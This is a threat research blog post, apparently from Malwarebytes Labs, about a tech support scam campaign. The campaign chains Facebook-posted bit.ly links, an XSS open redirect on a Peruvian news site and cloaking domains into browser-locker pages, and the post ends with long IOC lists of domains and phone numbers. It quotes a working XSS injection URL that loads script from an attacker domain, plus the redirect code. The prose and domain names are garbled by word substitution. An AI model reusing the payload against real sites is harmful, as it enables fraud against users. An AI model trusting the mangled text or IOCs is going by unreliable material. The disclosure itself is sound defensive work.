XSS to TSS: tech support scam campaign abuses cross-site scripting vulnerability – Malwarebytes Labs

This tech assist rip-off is being unfold through Fb hyperlinks and makes use of a number of redirection mechanisms to keep away from detection.

Tech assist browser lockers proceed to be probably the most frequent internet threats. Not solely are they an issue for finish customers who would possibly find yourself on the cellphone with scammers defrauding them of tons of of {dollars}, they’ve additionally induced fairly the headache for browser distributors to repair.

Browser lockers are just one ingredient of a much bigger plan to redirect visitors from sure websites, usually through malvertising chains from grownup portals or websites that provide pirated content material.

There’s a barely totally different marketing campaign that we’ve been monitoring for a number of weeks as a consequence of its excessive quantity. Menace actors are counting on Fb to distribute malicious hyperlinks that finally redirect to a browser locker web page. Their method is fascinating as a result of it entails a number of layers of deception together with abusing a cross-site scripting vulnerability (XSS) on a preferred web site.

Hyperlinks posted onto social media platforms ought to all the time be scrutinized as they’re a generally abused approach for scammers and malware authors to redirect customers onto undesirable content material. For that reason, you would possibly see a disclaimer whenever you click on on a hyperlink, warning you that it could possibly be spam or harmful.

The marketing campaign we checked out seems to solely use hyperlinks posted on Fb, which is pretty uncommon contemplating that historically tech assist scams are unfold through malvertising. Fb shows a warning for the person to verify that they wish to observe the hyperlink. On this case, the vacation spot is additional obscured by the truth that the hyperlink is a bit.ly shortened URL.

The risk actor is utilizing the bit.ly URL shortener to craft the primary stage of redirection. In whole, we catalogued 50 totally different bit.ly hyperlinks (see IOCs) over a three month interval, suggesting that there’s common rotation to keep away from blacklisting.

Though we have no idea precisely how these hyperlinks are being shared with Fb customers, we have now some indication that sure video games (i.e. apps on the Fb web site) could assist to unfold them. As a result of that is out of our attain, we have now alerted Fb in case it is ready to determine the precise supply.

Abuse of cross-site scripting vulnerability

The bit.ly URL triggers the second stage redirection that entails a Peruvian web site (rpp[.]pe) which accommodates a cross-site scripting vulnerability (XSS) that permits for an open redirect. Menace actors like to abuse open redirects because it offers some legitimacy to the URL they ship victims. On this occasion, the information web site is completely reliable and attracts over 23 million visits a month.

On this case, we are able to see that code is being handed into the URL as a way to load exterior JavaScript code from buddhosi[.]com, a malicious area managed by the attackers.

rpp[.]pe/buscar?q=hoypercent3Cscript%20src=%27https://buddhosi[.]com/210c/
?zg1lx5u0.js%27%3Epercent3C/scriptpercent3E&fbclid=eliminated

The JavaScript in flip creates the redirection to the browlock touchdown web page by utilizing the change() methodology:

prime.location.change(‘https://BernetteJudeTews[.]membership/residence/anette/?
nr=855-472-1832&’+window.location.search.substring(1));

Apart from redirecting customers to different websites, an attacker may exploit the XSS to rewrite the present web page into something they like.

We reported this problem to Grupo RPP however haven’t heard again on the time of publication.

Cloaking domains

The open redirect trick is one thing that was added afterward within the marketing campaign. Initially the risk actors had been straight loading decoy cloaking domains. Their goal is to examine incoming visitors and solely serve the malicious content material to reliable victims. This can be a quite common apply and we’ve seen this earlier than, for instance with pretend recipe websites.

We documented 6 domains concerned on this third stage of the redirection course of:

buddhosi[.]com
joinspinclass[.]com
suddhosi[.]com
thourwiringus[.]com
totalgodin[.]com
tuoliushigao[.]com

Server-side checks guarantee guests meet the necessities, specifically a reliable US residential IP deal with, and customized JavaScript is then served (an empty JavaScript is returned for non-interesting visitors).

The code (shared above) masses the browser locker touchdown web page to one of many disposable and randomly-named domains utilizing one of many newer TLDs:

.casa
.web site
.house
.membership
.icu
.bar

We collected near 500 such domains (see IOCs) throughout a interval of some months, however there are doubtless many extra.

Browser locker on the finish of the chain

The browser locker fingerprints the person to show the suitable model for his or her browser. It reveals an animation mimicking a scan of present system information and threatens to delete the laborious drive after 5 minutes.

After all that is all pretend, nevertheless it’s convincing sufficient that some folks will name the toll-free quantity for help. In all, we collected nearly 40 totally different cellphone numbers (see IOCs) however this isn’t an exhaustive listing.

That is the place it ends for the visitors scheme, however the place it really begins for the tech assist rip-off. We didn’t make contact with the decision centre, however we all know very properly how this subsequent half performs out.

Malwarebytes customers had been already protected in opposition to this browser locker, due to our Browser Guard internet safety. We’ll proceed to trace and report this marketing campaign.

Because of Marcelo Rivero for serving to with the replay and Manuel Caballero for his insights on the XSS.

Indicators of Compromise

Bitly hyperlinks

bit[.]ly/2BnL1gb
bit[.]ly/2BT9fyU
bit[.]ly/2Ci8vU7
bit[.]ly/2CmSeNo
bit[.]ly/2CYEQ2V
bit[.]ly/2D1Xt64
bit[.]ly/2Do8rTA
bit[.]ly/2DoLMGh
bit[.]ly/2DpBAO3
bit[.]ly/2W5TLOW
bit[.]ly/2WggcRI
bit[.]ly/2Whuz8f
bit[.]ly/3ffMoLv

bit[.]ly/2XylAQS
bit[.]ly/2YQ6Nll
bit[.]ly/2YUEJh1
bit[.]ly/2Z8u2Y6
bit[.]ly/2Zf9f5g
bit[.]ly/30B8frz
bit[.]ly/30OBrge
bit[.]ly/312yDMe
bit[.]ly/2E4iPQg
bit[.]ly/2EVqXDf
bit[.]ly/2NJPNad
bit[.]ly/2SKSKtG
bit[.]ly/2W0EVJx

bit[.]ly/313QfpY
bit[.]ly/31nuzVZ
bit[.]ly/33j18GQ
bit[.]ly/33RHphZ
bit[.]ly/33TnMGp
bit[.]ly/33U4KzW
bit[.]ly/36XhNlF
bit[.]ly/39kxqT9
bit[.]ly/39Lpf2I
bit[.]ly/3a1vjnz
bit[.]ly/3ehykAR
bit[.]ly/3eQ8Rib
bit[.]ly/3fDTxpu

bit[.]ly/3fNbwdP
bit[.]ly/3gfDRJw
bit[.]ly/3gi7sTi
bit[.]ly/3gSXmbh
bit[.]ly/3gvG3gI
bit[.]ly/3hlBUvE
bit[.]ly/3iLGu8b
bit[.]ly/3jcvfVC
bit[.]ly/3jk66sh
bit[.]ly/3jU5Q3Z
bit[.]ly/3kgIwxF

Cloaking domains

buddhosi[.]com
joinspinclass[.]com
suddhosi[.]com
thourwiringus[.]com
totalgodin[.]com
tuoliushigao[.]com

Browlock domains

abagailliondaye[.]web site
addiatraciedur[.]casa
adianaeadmundfaunia[.]casa
adriaensherveymanson[.]house
aidadarnallkondon[.]casa
ailynhoratiowallford[.]house
akselholm[.]house
alanaweekes[.]casa
alexandervolodin[.]web site
alexaschulteisz[.]house
alexinasandersjeddy[.]casa
alexinemunroelanni[.]house
alineorbadiahbakerman[.]house
allegradoyclaudette[.]house
almedacorbiemyrta[.]membership
alondramendez[.]house
aloysiapatbergwall[.]house
altapippomarjory[.]casa
alvenystrom[.]web site
alysonbartolemohaze[.]casa
amandarocha[.]web site
amandisamsonpattin[.]house
ameliabernays[.]bar
ameliebrown[.]icu
amiesinclair[.]house
anallesewolfiecacie[.]house
andreachrissyglaudia[.]house
andrewvasiliev[.]house
angelicajohnsen[.]casa
angelilaireberns[.]house
annadianakelleybowra[.]house
annalisearchylandau[.]casa
annicecurreyinglebert[.]web site
anthewaltonbacon[.]casa
anupakarinen[.]house
aputsiaqjosefsen[.]house
arlienerutgeremmey[.]web site
arlindapaulotrix[.]casa
ashlyjdavielonee[.]web site
audricpanetier[.]house
aurooragabrielepahl[.]web site
auroraaylmarosmo[.]casa
avalundstrom[.]casa
balazsforgacs[.]house
barbialbiedanit[.]house
beatrizmartins[.]house
beaurbandonoho[.]casa
belindapattinyorick[.]web site
benbaxter[.]casa
berenicebrighamklug[.]web site
bertapisano[.]casa
bertharockwellgans[.]house
bertinarothesmerolda[.]web site
bertinebrendintremml[.]casa
bertyemmanuelbeaufert[.]web site
bettineallynnoemi[.]casa
billyemichelethacher[.]casa
billygreen[.]casa
blaireredemalee[.]house
boriskapalfi[.]casa
caitlinluigigypsie[.]casa
caitlinpetersen[.]house
callumlittle[.]web site
calvinbridges[.]membership
careyheinrikornstead[.]house
carlaellwoodobadiah[.]casa
carlyejoaquinfrederica[.]web site
carlynnshelldorey[.]house
carmeltristanjeremiah[.]casa
carolinepeadarstutman[.]house
carynkristoforopleione[.]web site
catharinaewansouthworth[.]house
celiechristofferrochester[.]casa
celinagrahamtollmann[.]web site
charlesthornton[.]bar
charleyferguson[.]house
cherilynrolferoselin[.]casa
cherishhurleyburrus[.]casa
cherlyncourtgrannias[.]web site
cherylkristopherannice[.]web site
chicasackville[.]casa
chicovangriensven[.]web site
christacullinclem[.]house
christinehermansen[.]house
christoperkim[.]membership
chrysaheinrikromo[.]house
cibranjasso[.]casa
cilkabuddieradmen[.]house
clarettanicolahannus[.]web site
clareykonstantinelipkin[.]web site
clariangieeddi[.]house
codieriewebb[.]web site
colenerodricksipple[.]house
colettenildelaney[.]house
collycazlal[.]membership
constantachaddcoleen[.]house
coralineottomalcom[.]house
cornelagregoireriannon[.]casa
correnaosbornwatters[.]house
corriethaddusnero[.]casa
courtnaycullanartimas[.]house
courtneydunn[.]web site
courtneyshaw[.]casa
csabatotth[.]house
cybilloatesotho[.]membership
cynthiejoshuagoetz[.]casa
dagurarnbjarnarson[.]house
daniaumbertobraunstein[.]web site
darellecorteldridge[.]house
darlaleopoldlandri[.]house
darlenegarcia[.]house
deanstreeten[.]membership
debbynoelfugazy[.]casa
diederikfaro[.]casa
ditajaridhancock[.]house
dominicbyrne[.]membership
donaldking[.]casa
donatilavela[.]casa
doniellejarrettherwick[.]house
doratiboldjapeth[.]casa
dorelleolinsiusan[.]casa
dorenerossclemente[.]casa
dorisferguson[.]web site
dorriestubridie[.]casa
dronafeliziowallace[.]membership
dyannrichalona[.]web site
eberardobustamante[.]casa
eboneebritseltzer[.]house
edittafanucci[.]house
eduardasantos[.]casa
edwardmarr[.]casa
elbertinawaymalina[.]web site
electratobinlori[.]house
elinorecyrusrosalind[.]web site
elisabetmahmudziguard[.]casa
ellasaari[.]house
ellereid[.]web site
ellihermannsheldon[.]casa
emmalynhenriwinsor[.]web site
erdagarephenica[.]membership
erminiekurtisberard[.]web site
ethelinemuffinpierrette[.]casa
ethelynezekielpepito[.]house
evagorbunova[.]house
evascarfe[.]house
evelinemikolviveca[.]house
ezinetshishani[.]casa
fancieogdanwanyen[.]web site
fannymackkellby[.]web site
fatramcharan[.]icu
feikjewestenbrink[.]icu
felicytasobczak[.]house
felixkomarov[.]web site

fiannkipparisaac[.]casa
filidelucianrus[.]casa
floraabrahamsson[.]web site
florisburrparadies[.]house
franceskint[.]casa
frankmejias[.]house
freddieholden[.]house
fredrikigland[.]web site
frigyesbakos[.]membership
fulcovangemert[.]casa
gabrielduffy[.]casa
gabriellacunneen[.]membership
gabriellamarsden[.]house
gaynorchevaliermollie[.]house
georgecreswick[.]icu
germaisenia[.]uno
gertiereggyun[.]casa
gianninafonville[.]retailer
gillianlindseymobley[.]casa
ginnikipvedis[.]casa
giudittademetrestuppy[.]web site
giulioferrari[.]membership
glennconantkaete[.]casa
greerjorgangarcon[.]casa
gretchenmorgenfrans[.]casa
guineveremorgenphilipson[.]house
gundolphochubbbaggins[.]house
gusursongerhard[.]house
gwendolenworthcower[.]membership
hamzenolet[.]house
hanabinkykasevich[.]casa
hannahkaur[.]house
harriottheodoricmartinez[.]house
heidiingamarkaenel[.]casa
hollyhardy[.]house
hopechaddbrogle[.]web site
hyacinthreuvengronseth[.]casa
ileanaroryfarika[.]casa
ilonayusupova[.]house
ilsepiirto[.]casa
ingebergrudyjacintha[.]house
ingridharlinaekerly[.]casa
iolandecreightonnona[.]house
iritapietreklow[.]house
isabelaalmeida[.]web site
isembardgreenhand[.]retailer
issysydneycharmain[.]web site
isumbrasbrandagamba[.]membership
ivalufilemonsen[.]casa
ivaluhansen[.]casa
ivalularsen[.]web site
iversoreide[.]web site
jacobsutherland[.]web site
jacquelinehampson[.]house
jadechadzoara[.]casa
jaimecarliedaye[.]casa
jakebooth[.]membership
jamesmiller[.]casa
jamesspofforth[.]membership
jamieumstead[.]uno
janholm[.]web site
jareddubose[.]house
jaromirbrynda[.]casa
jaspercaraballo[.]casa
jeanellejermainoleg[.]casa
jeannabroderickgrunenwald[.]casa
jenniferreed[.]membership
jenninelammondtorto[.]web site
jennovankooij[.]icu
jerrileeharrydyun[.]casa
jesperkristoffersen[.]web site
jessamynfreemonhibben[.]casa
jessisylvesterkenison[.]house
jillaynemagnumallys[.]house
joaniealisteratwekk[.]casa
joanywilting[.]casa
joellydaltonhamel[.]web site
joeyrudolfrebhun[.]casa
johnapascaleikey[.]casa
johnclark[.]icu
joinspinclass[.]com
jordannaholttakken[.]casa
jorgritter[.]house
josjasalah[.]web site
juansmotherman[.]membership
judiecosimoprudence[.]web site
julieravn[.]house
juliettaheywooddunham[.]casa
kacyandershugon[.]web site
kacybenoitarley[.]house
kajaaurthurzebulen[.]house
kalmandobos[.]web site
karenbrands[.]casa
karitasvalberg[.]web site
karlenronniesaidel[.]casa
karolgraememaye[.]house
kasperronning[.]casa
kasszaredphelan[.]house
katerinechuchowinston[.]house
katherinacedricbrynne[.]web site
katinarooseveltmattox[.]house
katrinebrandt[.]casa
katushapallardolino[.]house
kauecavalcanti[.]web site
kayleeamorymafalda[.]casa
keadaly[.]membership
kerrychavez[.]icu
kessiaharonwentworth[.]house
kingapawlak[.]house
kippieeliasrachaba[.]house
kirakipplek[.]house
kirstialechulbard[.]house
kolosszegedi[.]web site
kristelichaboderina[.]house
kristennowellsholley[.]casa
kristesylvesterblossom[.]casa
kristinejacobsen[.]web site
krysiawojciechowska[.]casa
krystaltommyabell[.]casa
kylaasherrosenstein[.]house
kylamontishetrit[.]casa
laneydavinangell[.]web site
larissasebastienhubie[.]house
laurelhewbasset[.]web site
lauriannegermaynealithia[.]casa
lauriannetobyevalyn[.]casa
leannaralfpicardi[.]membership
lechoslawczarnecki[.]web site
lesliestorey[.]casa
lettiiorgoscathe[.]house
lettitracegow[.]casa
liaonio[.]web site
liatimoteojacqui[.]casa
livandrea[.]icu
loisepatrickardie[.]house
lonnibasiliozirkle[.]casa
lorajerriprimavera[.]house
lorenzagiovannigiacomo[.]web site
loriannalodovicoradloff[.]membership
lorrinrodmignonne[.]house
lucievanrinsum[.]membership
luisbarros[.]casa
lynseybrunotatman[.]casa
mabwinfrededelsten[.]house
maddyjarridolnee[.]web site
madelindarrelbruyn[.]casa
marcellinevidovicmilinda[.]casa
marcoklug[.]casa
margarettedukieaeriel[.]house
margitfreedmangrider[.]web site
margretedgarbabbie[.]casa
margretglynnadelice[.]casa
mariamnilsson[.]web site

mariapfaff[.]casa
mariuslovstrom[.]casa
mariuszdudek[.]web site
marnizebulonmarchese[.]house
masonpatel[.]house
mathildacaseopportina[.]web site
maurakonradebenezer[.]membership
mauritznystrom[.]house
maximinovaldes[.]casa
meghanncreightonoster[.]house
meralvangeer[.]house
merielbondonbelldas[.]house
merisbuironstatis[.]casa
merrillingeroscar[.]membership
merryfabioavruch[.]house
meyaakesson[.]casa
mialeistad[.]house
mieszkoczarnecki[.]house
mikaelenoksen[.]web site
milissentflorychard[.]casa
miriamvernesopher[.]house
mirnaandreyfischer[.]casa
mollieyveswestfall[.]web site
monahreamonnjacintha[.]casa
morganajehukinchen[.]web site
muirenolanhaydon[.]web site
myrtleruss[.]casa
nanagal[.]icu
naomibolton[.]casa
nattybrendonleverett[.]casa
nedaholmesmilly[.]web site
neddaboneamaras[.]membership
nessiebogeyeugenio[.]web site
nickieearliehelbona[.]web site
nissaalfonsealexis[.]web site
nixieholtadamski[.]house
noravestre[.]web site
norbertschuil[.]casa
noreanlarsornas[.]casa
nursellamo[.]house
odelladevlinaleksandr[.]house
odettafalknerlenni[.]web site
oliverraaen[.]house
olliemaclean[.]casa
omarbazhaev[.]house
paolaverhoef[.]house
peggyakselsmalley[.]web site
penelopaelbertsonny[.]house
philgiordanolibbey[.]web site
pongorfoldesi[.]casa
poppyinglissparke[.]casa
poulkristensen[.]house
quinnagustezandt[.]casa
rafinelisse[.]bar
ranabramran[.]casa
raquelaeduinochiles[.]casa
raymondsmith[.]casa
rayyangordon[.]casa
reavictorcherrita[.]casa
reynirjonatansson[.]web site
reynirottosson[.]house
rianonkentonlira[.]house
ricagaylebernie[.]web site
ricidewittflatto[.]house
riviboyceyvento[.]web site
rivkahmayneazpurua[.]house
roannefrancoisgenny[.]house
roannestanislausolimpia[.]casa
robertfoley[.]house
robertsaunders[.]casa
robertweaver[.]house
ronaldestep[.]casa
ronnymortiesanburn[.]casa
rosabelleellswertheisenhart[.]casa
roseanniveadlay[.]casa
rosejaymeraouf[.]house
rosemondelelandneil[.]web site
rupertaeddiefalk[.]house
sabrinagaertner[.]house
salviamugwort[.]house
samamerigoaldridge[.]web site
samarialucienquinn[.]casa
samarknape[.]uno
samukatorok[.]house
sandraglebova[.]house
sanyaimmink[.]icu
sareeellereypenland[.]casa
savinareinwaldsteffen[.]web site
scarlettlaycatherina[.]web site
shannonmanfredoctave[.]web site
shaynefrancklynwynne[.]web site
sheelafarrisgare[.]casa
sheila-kathryntysonlatia[.]membership
sheilayork[.]house
sherriehankcha[.]casa
sherriraddiechester[.]casa
sibyllepearcelaney[.]web site
silviearaldorory[.]house
simonefreitag[.]membership
sisilehoweyivanah[.]casa
siskolaatikainen[.]casa
solsausamov[.]house
starernestmcmillan[.]web site
suddhosi[.]com
suewaldotacklind[.]casa
suomariihijarvi[.]casa
suzywordenmycah[.]casa
sylviakroon[.]web site
tallydewsheley[.]membership
taniburnabydarrill[.]casa
tanyarayhasty[.]casa
tedraadottinger[.]casa
teodorademetripettifer[.]casa
terrinathanaelgahl[.]house
theafrederiksen[.]house
thelmaantoniusibrahim[.]house
theresawalsh[.]icu
tienanevillepetrine[.]casa
tillyby[.]membership
tillyheerson[.]house
timurvida[.]house
tinesidneefiedling[.]web site
tomawyndhamrudolfo[.]house
topivuorinen[.]web site
tordamdal[.]web site
totalgodin[.]com
toussaintjobin[.]web site
trinemathiasen[.]web site
trudienehemiahblodget[.]house
trungbliek[.]web site
utairvinshirk[.]house
veganystrom[.]house
veroniquegilbertonickey[.]casa
vesteinnyngvason[.]house
vibrockienorina[.]casa
vincenzokaur[.]house
vinniechrissiearlynne[.]web site
vioarbirgisson[.]house
vitoriaoliveira[.]casa
wallislonkerrill[.]membership
wilcomesandheaver[.]web site
willhighett[.]membership
williamsimonsen[.]casa
wynnedelmoremaison[.]house
wynnielorenprisca[.]casa
wynnyjobgratt[.]house
xavierholroyd[.]membership
yingahmad[.]house
yoshikojaeheisser[.]casa
zakariaeotter[.]house
zomborgyarmathi[.]casa
zorinetownspiegelman[.]casa

Cellphone numbers

833-801-7232
844-762-9462
844-762-9467
844-793-6869
844-793-8637
844-794-5246
844-794-6678
844-794-6786
844-796-2946
844-833-8289

844-909-2777
855-241-4508
855-470-1718
855-470-1720
855-470-1721
855-470-1724
855-472-1830
855-472-1832
855-472-1833
855-885-0741

855-472-1840
855-472-1844
855-626-2563
855-805-1138
855-805-1278
855-805-1285
855-827-2595
855-827-3045
855-885-0784
855-885-0818

855-885-0830
855-885-0833
877-429-1222
888-597-1444
888-851-3768
888-851-5754
888-865-2158
888-866-6127
888-866-6299

You May Also Like